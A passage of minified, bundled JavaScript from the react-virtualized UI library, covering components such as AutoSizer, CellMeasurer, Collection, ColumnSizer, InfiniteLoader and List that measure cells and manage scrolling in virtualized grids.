t=e.scrollToColumn,n=e.scrollToRow,r=this.props,o=r.isControlled,i=r.onScrollToChange;"function"==typeof i&&i({scrollToColumn:t,scrollToRow:n}),o||this.setState({scrollToColumn:t,scrollToRow:n})}}],[{key:"getDerivedStateFromProps",value:function(e,t){return e.isControlled?{}:e.scrollToColumn!==t.instanceProps.prevScrollToColumn||e.scrollToRow!==t.instanceProps.prevScrollToRow?function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?eC(n,!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):eC(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({},t,{scrollToColumn:e.scrollToColumn,scrollToRow:e.scrollToRow,instanceProps:{prevScrollToColumn:e.scrollToColumn,prevScrollToRow:e.scrollToRow}}):{}}}]),t}(l.PureComponent),pe()(QS,"propTypes",null),JS);pe()(tC,"defaultProps",{disabled:!1,isControlled:!1,mode:"edges",scrollToColumn:0,scrollToRow:0}),Object(OS.polyfill)(tC);var nC,rC,oC=n(150);function iC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function aC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?iC(n,!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):iC(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var lC=(rC=nC=function(e){function t(){var e,n;ue()(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return n=yS()(this,(e=wS()(t)).call.apply(e,[this].concat(o))),pe()(SS()(n),"state",{height:n.props.defaultHeight||0,width:n.props.defaultWidth||0}),pe()(SS()(n),"_parentNode",void 0),pe()(SS()(n),"_autoSizer",void 0),pe()(SS()(n),"_window",void 0),pe()(SS()(n),"_detectElementResize",void 0),pe()(SS()(n),"_onResize",(function(){var e=n.props,t=e.disableHeight,r=e.disableWidth,o=e.onResize;if(n._parentNode){var i=n._parentNode.offsetHeight||0,a=n._parentNode.offsetWidth||0,l=(n._window||window).getComputedStyle(n._parentNode)||{},s=parseInt(l.paddingLeft,10)||0,u=parseInt(l.paddingRight,10)||0,c=parseInt(l.paddingTop,10)||0,f=parseInt(l.paddingBottom,10)||0,d=i-c-f,p=a-s-u;(!t&&n.state.height!==d||!r&&n.state.width!==p)&&(n.setState({height:i-c-f,width:a-s-u}),o({height:i,width:a}))}})),pe()(SS()(n),"_setRef",(function(e){n._autoSizer=e})),n}return xS()(t,e),fe()(t,[{key:"componentDidMount",value:function(){var e=this.props.nonce;this._autoSizer&&this._autoSizer.parentNode&&this._autoSizer.parentNode.ownerDocument&&this._autoSizer.parentNode.ownerDocument.defaultView&&this._autoSizer.parentNode instanceof this._autoSizer.parentNode.ownerDocument.defaultView.HTMLElement&&(this._parentNode=this._autoSizer.parentNode,this._window=this._autoSizer.parentNode.ownerDocument.defaultView,this._detectElementResize=Object(oC.a)(e,this._window),this._detectElementResize.addResizeListener(this._parentNode,this._onResize),this._onResize())}},{key:"componentWillUnmount",value:function(){this._detectElementResize&&this._parentNode&&this._detectElementResize.removeResizeListener(this._parentNode,this._onResize)}},{key:"render",value:function(){var e=this.props,t=e.children,n=e.className,r=e.disableHeight,o=e.disableWidth,i=e.style,a=this.state,s=a.height,u=a.width,c={overflow:"visible"},f={};return r||(c.height=0,f.height=s),o||(c.width=0,f.width=u),l.createElement("div",{className:n,ref:this._setRef,style:aC({},c,{},i)},t(f))}}]),t}(l.Component),pe()(nC,"propTypes",null),rC);pe()(lC,"defaultProps",{onResize:function(){},disableHeight:!1,disableWidth:!1,style:{}});var sC,uC,cC=(uC=sC=function(e){function t(){var e,n;ue()(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return n=yS()(this,(e=wS()(t)).call.apply(e,[this].concat(o))),pe()(SS()(n),"_child",void 0),pe()(SS()(n),"_measure",(function(){var e=n.props,t=e.cache,r=e.columnIndex,o=void 0===r?0:r,i=e.parent,a=e.rowIndex,l=void 0===a?n.props.index||0:a,s=n._getCellMeasurements(),u=s.height,c=s.width;u===t.getHeight(l,o)&&c===t.getWidth(l,o)||(t.set(l,o,c,u),i&&"function"==typeof i.recomputeGridSize&&i.recomputeGridSize({columnIndex:o,rowIndex:l}))})),pe()(SS()(n),"_registerChild",(function(e){!e||e instanceof Element||console.warn("CellMeasurer registerChild expects to be passed Element or null"),n._child=e,e&&n._maybeMeasureCell()})),n}return xS()(t,e),fe()(t,[{key:"componentDidMount",value:function(){this._maybeMeasureCell()}},{key:"componentDidUpdate",value:function(){this._maybeMeasureCell()}},{key:"render",value:function(){var e=this.props.children;return"function"==typeof e?e({measure:this._measure,registerChild:this._registerChild}):e}},{key:"_getCellMeasurements",value:function(){var e=this.props.cache,t=this._child||Object(u.findDOMNode)(this);if(t&&t.ownerDocument&&t.ownerDocument.defaultView&&t instanceof t.ownerDocument.defaultView.HTMLElement){var n=t.style.width,r=t.style.height;e.hasFixedWidth()||(t.style.width="auto"),e.hasFixedHeight()||(t.style.height="auto");var o=Math.ceil(t.offsetHeight),i=Math.ceil(t.offsetWidth);return n&&(t.style.width=n),r&&(t.style.height=r),{height:o,width:i}}return{height:0,width:0}}},{key:"_maybeMeasureCell",value:function(){var e=this.props,t=e.cache,n=e.columnIndex,r=void 0===n?0:n,o=e.parent,i=e.rowIndex,a=void 0===i?this.props.index||0:i;if(!t.has(a,r)){var l=this._getCellMeasurements(),s=l.height,u=l.width;t.set(a,r,u,s),o&&"function"==typeof o.invalidateCellSizeAfterRender&&o.invalidateCellSizeAfterRender({columnIndex:r,rowIndex:a})}}}]),t}(l.PureComponent),pe()(sC,"propTypes",null),uC);pe()(cC,"__internalCellMeasurerFlag",!1);var fC=function(){function e(){var t=this,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};ue()(this,e),pe()(this,"_cellHeightCache",{}),pe()(this,"_cellWidthCache",{}),pe()(this,"_columnWidthCache",{}),pe()(this,"_rowHeightCache",{}),pe()(this,"_defaultHeight",void 0),pe()(this,"_defaultWidth",void 0),pe()(this,"_minHeight",void 0),pe()(this,"_minWidth",void 0),pe()(this,"_keyMapper",void 0),pe()(this,"_hasFixedHeight",void 0),pe()(this,"_hasFixedWidth",void 0),pe()(this,"_columnCount",0),pe()(this,"_rowCount",0),pe()(this,"columnWidth",(function(e){var n=e.index,r=t._keyMapper(0,n);return void 0!==t._columnWidthCache[r]?t._columnWidthCache[r]:t._defaultWidth})),pe()(this,"rowHeight",(function(e){var n=e.index,r=t._keyMapper(n,0);return void 0!==t._rowHeightCache[r]?t._rowHeightCache[r]:t._defaultHeight}));var r=n.defaultHeight,o=n.defaultWidth,i=n.fixedHeight,a=n.fixedWidth,l=n.keyMapper,s=n.minHeight,u=n.minWidth;this._hasFixedHeight=!0===i,this._hasFixedWidth=!0===a,this._minHeight=s||0,this._minWidth=u||0,this._keyMapper=l||dC,this._defaultHeight=Math.max(this._minHeight,"number"==typeof r?r:30),this._defaultWidth=Math.max(this._minWidth,"number"==typeof o?o:100)}return fe()(e,[{key:"clear",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=this._keyMapper(e,t);delete this._cellHeightCache[n],delete this._cellWidthCache[n],this._updateCachedColumnAndRowSizes(e,t)}},{key:"clearAll",value:function(){this._cellHeightCache={},this._cellWidthCache={},this._columnWidthCache={},this._rowHeightCache={},this._rowCount=0,this._columnCount=0}},{key:"hasFixedHeight",value:function(){return this._hasFixedHeight}},{key:"hasFixedWidth",value:function(){return this._hasFixedWidth}},{key:"getHeight",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;if(this._hasFixedHeight)return this._defaultHeight;var n=this._keyMapper(e,t);return void 0!==this._cellHeightCache[n]?Math.max(this._minHeight,this._cellHeightCache[n]):this._defaultHeight}},{key:"getWidth",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;if(this._hasFixedWidth)return this._defaultWidth;var n=this._keyMapper(e,t);return void 0!==this._cellWidthCache[n]?Math.max(this._minWidth,this._cellWidthCache[n]):this._defaultWidth}},{key:"has",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=this._keyMapper(e,t);return void 0!==this._cellHeightCache[n]}},{key:"set",value:function(e,t,n,r){var o=this._keyMapper(e,t);t>=this._columnCount&&(this._columnCount=t+1),e>=this._rowCount&&(this._rowCount=e+1),this._cellHeightCache[o]=r,this._cellWidthCache[o]=n,this._updateCachedColumnAndRowSizes(e,t)}},{key:"_updateCachedColumnAndRowSizes",value:function(e,t){if(!this._hasFixedWidth){for(var n=0,r=0;r<this._rowCount;r++)n=Math.max(n,this.getWidth(r,t));var o=this._keyMapper(0,t);this._columnWidthCache[o]=n}if(!this._hasFixedHeight){for(var i=0,a=0;a<this._columnCount;a++)i=Math.max(i,this.getHeight(e,a));var l=this._keyMapper(e,0);this._rowHeightCache[l]=i}}},{key:"defaultHeight",get:function(){return this._defaultHeight}},{key:"defaultWidth",get:function(){return this._defaultWidth}}]),e}();function dC(e,t){return"".concat(e,"-").concat(t)}function pC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function hC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?pC(n,!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):pC(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var mC="observed",gC="requested",vC=function(e){function t(){var e,n;ue()(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return n=yS()(this,(e=wS()(t)).call.apply(e,[this].concat(o))),pe()(SS()(n),"state",{isScrolling:!1,scrollLeft:0,scrollTop:0}),pe()(SS()(n),"_calculateSizeAndPositionDataOnNextUpdate",!1),pe()(SS()(n),"_onSectionRenderedMemoizer",jS()),pe()(SS()(n),"_onScrollMemoizer",jS(!1)),pe()(SS()(n),"_invokeOnSectionRenderedHelper",(function(){var e=n.props,t=e.cellLayoutManager,r=e.onSectionRendered;n._onSectionRenderedMemoizer({callback:r,indices:{indices:t.getLastRenderedIndices()}})})),pe()(SS()(n),"_setScrollingContainerRef",(function(e){n._scrollingContainer=e})),pe()(SS()(n),"_updateScrollPositionForScrollToCell",(function(){var e=n.props,t=e.cellLayoutManager,r=e.height,o=e.scrollToAlignment,i=e.scrollToCell,a=e.width,l=n.state,s=l.scrollLeft,u=l.scrollTop;if(i>=0){var c=t.getScrollPositionForCell({align:o,cellIndex:i,height:r,scrollLeft:s,scrollTop:u,width:a});c.scrollLeft===s&&c.scrollTop===u||n._setScrollPosition(c)}})),pe()(SS()(n),"_onScroll",(function(e){if(e.target===n._scrollingContainer){n._enablePointerEventsAfterDelay();var t=n.props,r=t.cellLayoutManager,o=t.height,i=t.isScrollingChange,a=t.width,l=n._scrollbarSize,s=r.getTotalSize(),u=s.height,c=s.width,f=Math.max(0,Math.min(c-a+l,e.target.scrollLeft)),d=Math.max(0,Math.min(u-o+l,e.target.scrollTop));if(n.state.scrollLeft!==f||n.state.scrollTop!==d){var p=e.cancelable?mC:gC;n.state.isScrolling||i(!0),n.setState({isScrolling:!0,scrollLeft:f,scrollPositionChangeReason:p,scrollTop:d})}n._invokeOnScrollMemoizer({scrollLeft:f,scrollTop:d,totalWidth:c,totalHeight:u})}})),n._scrollbarSize=Object(FS.default)(),void 0===n._scrollbarSize?(n._scrollbarSizeMeasured=!1,n._scrollbarSize=0):n._scrollbarSizeMeasured=!0,n}return xS()(t,e),fe()(t,[{key:"recomputeCellSizesAndPositions",value:function(){this._calculateSizeAndPositionDataOnNextUpdate=!0,this.forceUpdate()}},{key:"componentDidMount",value:function(){var e=this.props,t=e.cellLayoutManager,n=e.scrollLeft,r=e.scrollToCell,o=e.scrollTop;this._scrollbarSizeMeasured||(this._scrollbarSize=Object(FS.default)(),this._scrollbarSizeMeasured=!0,this.setState({})),r>=0?this._updateScrollPositionForScrollToCell():(n>=0||o>=0)&&this._setScrollPosition({scrollLeft:n,scrollTop:o}),this._invokeOnSectionRenderedHelper();var i=t.getTotalSize(),a=i.height,l=i.width;this._invokeOnScrollMemoizer({scrollLeft:n||0,scrollTop:o||0,totalHeight:a,totalWidth:l})}},{key:"componentDidUpdate",value:function(e,t){var n=this.props,r=n.height,o=n.scrollToAlignment,i=n.scrollToCell,a=n.width,l=this.state,s=l.scrollLeft,u=l.scrollPositionChangeReason,c=l.scrollTop;u===gC&&(s>=0&&s!==t.scrollLeft&&s!==this._scrollingContainer.scrollLeft&&(this._scrollingContainer.scrollLeft=s),c>=0&&c!==t.scrollTop&&c!==this._scrollingContainer.scrollTop&&(this._scrollingContainer.scrollTop=c)),r===e.height&&o===e.scrollToAlignment&&i===e.scrollToCell&&a===e.width||this._updateScrollPositionForScrollToCell(),this._invokeOnSectionRenderedHelper()}},{key:"componentWillUnmount",value:function(){this._disablePointerEventsTimeoutId&&clearTimeout(this._disablePointerEventsTimeoutId)}},{key:"render",value:function(){var e=this.props,t=e.autoHeight,n=e.cellCount,r=e.cellLayoutManager,o=e.className,i=e.height,a=e.horizontalOverscanSize,s=e.id,u=e.noContentRenderer,c=e.style,f=e.verticalOverscanSize,d=e.width,p=this.state,h=p.isScrolling,m=p.scrollLeft,g=p.scrollTop;(this._lastRenderedCellCount!==n||this._lastRenderedCellLayoutManager!==r||this._calculateSizeAndPositionDataOnNextUpdate)&&(this._lastRenderedCellCount=n,this._lastRenderedCellLayoutManager=r,this._calculateSizeAndPositionDataOnNextUpdate=!1,r.calculateSizeAndPositionData());var v=r.getTotalSize(),y=v.height,b=v.width,w=Math.max(0,m-a),E=Math.max(0,g-f),S=Math.min(b,m+d+a),C=Math.min(y,g+i+f),x=i>0&&d>0?r.cellRenderers({height:C-E,isScrolling:h,width:S-w,x:w,y:E}):[],O={boxSizing:"border-box",direction:"ltr",height:t?"auto":i,position:"relative",WebkitOverflowScrolling:"touch",width:d,willChange:"transform"},A=y>i?this._scrollbarSize:0,_=b>d?this._scrollbarSize:0;return O.overflowX=b+A<=d?"hidden":"auto",O.overflowY=y+_<=i?"hidden":"auto",l.createElement("div",{ref:this._setScrollingContainerRef,"aria-label":this.props["aria-label"],className:Object(TS.default)("ReactVirtualized__Collection",o),id:s,onScroll:this._onScroll,role:"grid",style:hC({},O,{},c),tabIndex:0},n>0&&l.createElement("div",{className:"ReactVirtualized__Collection__innerScrollContainer",style:{height:y,maxHeight:y,maxWidth:b,overflow:"hidden",pointerEvents:h?"none":"",width:b}},x),0===n&&u())}},{key:"_enablePointerEventsAfterDelay",value:function(){var e=this;this._disablePointerEventsTimeoutId&&clearTimeout(this._disablePointerEventsTimeoutId),this._disablePointerEventsTimeoutId=setTimeout((function(){(0,e.props.isScrollingChange)(!1),e._disablePointerEventsTimeoutId=null,e.setState({isScrolling:!1})}),150)}},{key:"_invokeOnScrollMemoizer",value:function(e){var t=this,n=e.scrollLeft,r=e.scrollTop,o=e.totalHeight,i=e.totalWidth;this._onScrollMemoizer({callback:function(e){var n=e.scrollLeft,r=e.scrollTop,a=t.props,l=a.height;(0,a.onScroll)({clientHeight:l,clientWidth:a.width,scrollHeight:o,scrollLeft:n,scrollTop:r,scrollWidth:i})},indices:{scrollLeft:n,scrollTop:r}})}},{key:"_setScrollPosition",value:function(e){var t=e.scrollLeft,n=e.scrollTop,r={scrollPositionChangeReason:gC};t>=0&&(r.scrollLeft=t),n>=0&&(r.scrollTop=n),(t>=0&&t!==this.state.scrollLeft||n>=0&&n!==this.state.scrollTop)&&this.setState(r)}}],[{key:"getDerivedStateFromProps",value:function(e,t){return 0!==e.cellCount||0===t.scrollLeft&&0===t.scrollTop?e.scrollLeft!==t.scrollLeft||e.scrollTop!==t.scrollTop?{scrollLeft:null!=e.scrollLeft?e.scrollLeft:t.scrollLeft,scrollTop:null!=e.scrollTop?e.scrollTop:t.scrollTop,scrollPositionChangeReason:gC}:null:{scrollLeft:0,scrollTop:0,scrollPositionChangeReason:gC}}}]),t}(l.PureComponent);pe()(vC,"defaultProps",{"aria-label":"grid",horizontalOverscanSize:0,noContentRenderer:function(){return null},onScroll:function(){return null},onSectionRendered:function(){return null},scrollToAlignment:"auto",scrollToCell:-1,style:{},verticalOverscanSize:0}),vC.propTypes={},Object(OS.polyfill)(vC);var yC=vC,bC=function(){function e(t){var n=t.height,r=t.width,o=t.x,i=t.y;ue()(this,e),this.height=n,this.width=r,this.x=o,this.y=i,this._indexMap={},this._indices=[]}return fe()(e,[{key:"addCellIndex",value:function(e){var t=e.index;this._indexMap[t]||(this._indexMap[t]=!0,this._indices.push(t))}},{key:"getCellIndices",value:function(){return this._indices}},{key:"toString",value:function(){return"".concat(this.x,",").concat(this.y," ").concat(this.width,"x").concat(this.height)}}]),e}(),wC=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:100;ue()(this,e),this._sectionSize=t,this._cellMetadata=[],this._sections={}}return fe()(e,[{key:"getCellIndices",value:function(e){var t=e.height,n=e.width,r=e.x,o=e.y,i={};return this.getSections({height:t,width:n,x:r,y:o}).forEach((function(e){return e.getCellIndices().forEach((function(e){i[e]=e}))})),Object.keys(i).map((function(e){return i[e]}))}},{key:"getCellMetadata",value:function(e){var t=e.index;return this._cellMetadata[t]}},{key:"getSections",value:function(e){for(var t=e.height,n=e.width,r=e.x,o=e.y,i=Math.floor(r/this._sectionSize),a=Math.floor((r+n-1)/this._sectionSize),l=Math.floor(o/this._sectionSize),s=Math.floor((o+t-1)/this._sectionSize),u=[],c=i;c<=a;c++)for(var f=l;f<=s;f++){var d="".concat(c,".").concat(f);this._sections[d]||(this._sections[d]=new bC({height:this._sectionSize,width:this._sectionSize,x:c*this._sectionSize,y:f*this._sectionSize})),u.push(this._sections[d])}return u}},{key:"getTotalSectionCount",value:function(){return Object.keys(this._sections).length}},{key:"toString",value:function(){var e=this;return Object.keys(this._sections).map((function(t){return e._sections[t].toString()}))}},{key:"registerCell",value:function(e){var t=e.cellMetadatum,n=e.index;this._cellMetadata[n]=t,this.getSections(t).forEach((function(e){return e.addCellIndex({index:n})}))}}]),e}();function EC(e){var t=e.align,n=void 0===t?"auto":t,r=e.cellOffset,o=e.cellSize,i=e.containerSize,a=e.currentOffset,l=r,s=l-i+o;switch(n){case"start":return l;case"end":return s;case"center":return l-(i-o)/2;default:return Math.max(s,Math.min(l,a))}}var SC=function(e){function t(e,n){var r;return ue()(this,t),(r=yS()(this,wS()(t).call(this,e,n)))._cellMetadata=[],r._lastRenderedCellIndices=[],r._cellCache=[],r._isScrollingChange=r._isScrollingChange.bind(SS()(r)),r._setCollectionViewRef=r._setCollectionViewRef.bind(SS()(r)),r}return xS()(t,e),fe()(t,[{key:"forceUpdate",value:function(){void 0!==this._collectionView&&this._collectionView.forceUpdate()}},{key:"recomputeCellSizesAndPositions",value:function(){this._cellCache=[],this._collectionView.recomputeCellSizesAndPositions()}},{key:"render",value:function(){var e=_S()({},this.props);return l.createElement(yC,_S()({cellLayoutManager:this,isScrollingChange:this._isScrollingChange,ref:this._setCollectionViewRef},e))}},{key:"calculateSizeAndPositionData",value:function(){var e=this.props,t=function(e){for(var t=e.cellCount,n=e.cellSizeAndPositionGetter,r=e.sectionSize,o=[],i=new wC(r),a=0,l=0,s=0;s<t;s++){var u=n({index:s});if(null==u.height||isNaN(u.height)||null==u.width||isNaN(u.width)||null==u.x||isNaN(u.x)||null==u.y||isNaN(u.y))throw Error("Invalid metadata returned for cell ".concat(s,":\n x:").concat(u.x,", y:").concat(u.y,", width:").concat(u.width,", height:").concat(u.height));a=Math.max(a,u.y+u.height),l=Math.max(l,u.x+u.width),o[s]=u,i.registerCell({cellMetadatum:u,index:s})}return{cellMetadata:o,height:a,sectionManager:i,width:l}}({cellCount:e.cellCount,cellSizeAndPositionGetter:e.cellSizeAndPositionGetter,sectionSize:e.sectionSize});this._cellMetadata=t.cellMetadata,this._sectionManager=t.sectionManager,this._height=t.height,this._width=t.width}},{key:"getLastRenderedIndices",value:function(){return this._lastRenderedCellIndices}},{key:"getScrollPositionForCell",value:function(e){var t=e.align,n=e.cellIndex,r=e.height,o=e.scrollLeft,i=e.scrollTop,a=e.width,l=this.props.cellCount;if(n>=0&&n<l){var s=this._cellMetadata[n];o=EC({align:t,cellOffset:s.x,cellSize:s.width,containerSize:a,currentOffset:o,targetIndex:n}),i=EC({align:t,cellOffset:s.y,cellSize:s.height,containerSize:r,currentOffset:i,targetIndex:n})}return{scrollLeft:o,scrollTop:i}}},{key:"getTotalSize",value:function(){return{height:this._height,width:this._width}}},{key:"cellRenderers",value:function(e){var t=this,n=e.height,r=e.isScrolling,o=e.width,i=e.x,a=e.y,l=this.props,s=l.cellGroupRenderer,u=l.cellRenderer;return this._lastRenderedCellIndices=this._sectionManager.getCellIndices({height:n,width:o,x:i,y:a}),s({cellCache:this._cellCache,cellRenderer:u,cellSizeAndPositionGetter:function(e){var n=e.index;return t._sectionManager.getCellMetadata({index:n})},indices:this._lastRenderedCellIndices,isScrolling:r})}},{key:"_isScrollingChange",value:function(e){e||(this._cellCache=[])}},{key:"_setCollectionViewRef",value:function(e){this._collectionView=e}}]),t}(l.PureComponent);pe()(SC,"defaultProps",{"aria-label":"grid",cellGroupRenderer:function(e){var t=e.cellCache,n=e.cellRenderer,r=e.cellSizeAndPositionGetter,o=e.indices,i=e.isScrolling;return o.map((function(e){var o=r({index:e}),a={index:e,isScrolling:i,key:e,style:{height:o.height,left:o.x,position:"absolute",top:o.y,width:o.width}};return i?(e in t||(t[e]=n(a)),t[e]):n(a)})).filter((function(e){return!!e}))}}),SC.propTypes={};var CC=function(e){function t(e,n){var r;return ue()(this,t),(r=yS()(this,wS()(t).call(this,e,n)))._registerChild=r._registerChild.bind(SS()(r)),r}return xS()(t,e),fe()(t,[{key:"componentDidUpdate",value:function(e){var t=this.props,n=t.columnMaxWidth,r=t.columnMinWidth,o=t.columnCount,i=t.width;n===e.columnMaxWidth&&r===e.columnMinWidth&&o===e.columnCount&&i===e.width||this._registeredChild&&this._registeredChild.recomputeGridSize()}},{key:"render",value:function(){var e=this.props,t=e.children,n=e.columnMaxWidth,r=e.columnMinWidth,o=e.columnCount,i=e.width,a=r||1,l=n?Math.min(n,i):i,s=i/o;return s=Math.max(a,s),s=Math.min(l,s),s=Math.floor(s),t({adjustedWidth:Math.min(i,s*o),columnWidth:s,getColumnWidth:function(){return s},registerChild:this._registerChild})}},{key:"_registerChild",value:function(e){if(e&&"function"!=typeof e.recomputeGridSize)throw Error("Unexpected child type registered; only Grid/MultiGrid children are supported.");this._registeredChild=e,this._registeredChild&&this._registeredChild.recomputeGridSize()}}]),t}(l.PureComponent);CC.propTypes={};var xC=n(313),OC=n.n(xC),AC=function(e){function t(e,n){var r;return ue()(this,t),(r=yS()(this,wS()(t).call(this,e,n)))._loadMoreRowsMemoizer=jS(),r._onRowsRendered=r._onRowsRendered.bind(SS()(r)),r._registerChild=r._registerChild.bind(SS()(r)),r}return xS()(t,e),fe()(t,[{key:"resetLoadMoreRowsCache",value:function(e){this._loadMoreRowsMemoizer=jS(),e&&this._doStuff(this._lastRenderedStartIndex,this._lastRenderedStopIndex)}},{key:"render",value:function(){return(0,this.props.children)({onRowsRendered:this._onRowsRendered,registerChild:this._registerChild})}},{key:"_loadUnloadedRanges",value:function(e){var t=this,n=this.props.loadMoreRows;e.forEach((function(e){var r=n(e);r&&r.then((function(){var n,r,o,i,a;n={lastRenderedStartIndex:t._lastRenderedStartIndex,lastRenderedStopIndex:t._lastRenderedStopIndex,startIndex:e.startIndex,stopIndex:e.stopIndex},r=n.lastRenderedStartIndex,o=n.lastRenderedStopIndex,i=n.startIndex,a=n.stopIndex,i>o||a<r||t._registeredChild&&function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n="function"==typeof e.recomputeGridSize?e.recomputeGridSize:e.recomputeRowHeights;n?n.call(e,t):e.forceUpdate()}(t._registeredChild,t._lastRenderedStartIndex)}))}))}},{key:"_onRowsRendered",value:function(e){var t=e.startIndex,n=e.stopIndex;this._lastRenderedStartIndex=t,this._lastRenderedStopIndex=n,this._doStuff(t,n)}},{key:"_doStuff",value:function(e,t){var n,r=this,o=this.props,i=o.isRowLoaded,a=o.minimumBatchSize,l=o.rowCount,s=o.threshold,u=function(e){for(var t=e.isRowLoaded,n=e.minimumBatchSize,r=e.rowCount,o=e.startIndex,i=e.stopIndex,a=[],l=null,s=null,u=o;u<=i;u++){t({index:u})?null!==s&&(a.push({startIndex:l,stopIndex:s}),l=s=null):(s=u,null===l&&(l=u))}if(null!==s){for(var c=Math.min(Math.max(s,l+n-1),r-1),f=s+1;f<=c&&!t({index:f});f++)s=f;a.push({startIndex:l,stopIndex:s})}if(a.length)for(var d=a[0];d.stopIndex-d.startIndex+1<n&&d.startIndex>0;){var p=d.startIndex-1;if(t({index:p}))break;d.startIndex=p}return a}({isRowLoaded:i,minimumBatchSize:a,rowCount:l,startIndex:Math.max(0,e-s),stopIndex:Math.min(l-1,t+s)}),c=(n=[]).concat.apply(n,OC()(u.map((function(e){return[e.startIndex,e.stopIndex]}))));this._loadMoreRowsMemoizer({callback:function(){r._loadUnloadedRanges(u)},indices:{squashedUnloadedRanges:c}})}},{key:"_registerChild",value:function(e){this._registeredChild=e}}]),t}(l.PureComponent);pe()(AC,"defaultProps",{minimumBatchSize:10,rowCount:0,threshold:15}),AC.propTypes={};var _C,TC,kC=(TC=_C=function(e){function t(){var e,n;ue()(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return n=yS()(this,(e=wS()(t)).call.apply(e,[this].concat(o))),pe()(SS()(n),"Grid",void 0),pe()(SS()(n),"_cellRenderer",(function(e){var t=e.parent,r=e.rowIndex,o=e.style,i=e.isScrolling,a=e.isVisible,l=e.key,s=n.props.rowRenderer,u=Object.getOwnPropertyDescriptor(o,"width");return u&&u.writable&&(o.width="100%"),s({index:r,style:o,isScrolling:i,isVisible:a,key:l,parent:t})})),pe()(SS()(n),"_setRef",(function(e){n.Grid=e})),pe()(SS()(n),"_onScroll",(function(e){var t=e.clientHeight,r=e.scrollHeight,o=e.scrollTop;(0,n.props.onScroll)({clientHeight:t,scrollHeight:r,scrollTop:o})})),pe()(SS()(n),"_onSectionRendered",(function(e){var t=e.rowOverscanStartIndex,r=e.rowOverscanStopIndex,o=e.rowStartIndex,i=e.rowStopIndex;(0,n.props.onRowsRendered)({overscanStartIndex:t,overscanStopIndex:r,startIndex:o,stopIndex:i})})),n}return xS()(t,e),fe()(t,[{key:"forceUpdateGrid",value:function(){this.Grid&&this.Grid.forceUpdate()}},{key:"getOffsetForRow",value:function(e){var t=e.alignment,n=e.index;return this.Grid?this.Grid.getOffsetForCell({alignment:t,rowIndex:n,columnIndex:0}).scrollTop:0}},{key:"invalidateCellSizeAfterRender",value:function(e){var t=e.columnIndex,n=e.rowIndex;this.Grid&&this.Grid.invalidateCellSizeAfterRender({rowIndex:n,columnIndex:t})}},{key:"measureAllRows",value:function(){this.Grid&&this.Grid.measureAllCells()}},{key:"recomputeGridSize",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.columnIndex,n=void 0===t?0:t,r=e.rowIndex,o=void 0===r?0:r;this.Grid&&this.Grid.recomputeGridSize({rowIndex:o,columnIndex:n})}},{key:"recomputeRowHeights",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.Grid&&this.Grid.recomputeGridSize({rowIndex:e,columnIndex:0})}},{key:"scrollToPosition",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.Grid&&this.Grid.scrollToPosition({scrollTop:e})}},{key:"scrollToRow",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.Grid&&this.Grid.scrollToCell({columnIndex:0,rowIndex:e})}},{key:"render",value:function(){var e=this.props,t=e.className,n=e.noRowsRenderer,r=e.scrollToIndex,o=e.width,i=Object(TS.default)("ReactVirtualized__List",t);return l.createElement(KS,_S()({},this.props,{autoContainerWidth:!0,cellRenderer:this._cellRenderer,className:i,columnWidth:o,columnCount:1,noContentRenderer:n,onScroll:this._onScroll,onSectionRendered:this._onSectionRendered,ref:this._setRef,scrollToRow:r}))}}]),t}(l.PureComponent),pe()(_C,"propTypes",null),TC);pe()(kC,"defaultProps",{autoHeight:!1,estimatedRowSize:30,onScroll:function(){},noRowsRenderer:function(){return null},onRowsRendered:function(){},overscanIndicesGetter:XS,overscanRowCount:10,scrollToAlignment:"auto",scrollToIndex:-1,style:{}});var PC={ge:function(e,t,n,r,o){return"function"==typeof n?function(e,t,n,r,o){for(var i=n+1;t<=n;){var a=t+n>>>1;o(e[a],r)>=0?(i=a,n=a-1):t=a+1}return i}(e,void 0===r?0:0|r,void 0===o?e.length-1:0|o,t,n):function(e,t,n,r){for(var o=n+1;t<=n;){var i=t+n>>>1;e[i]>=r?(o=i,n=i-1):t=i+1}return o}(e,void 0===n?0:0|n,void 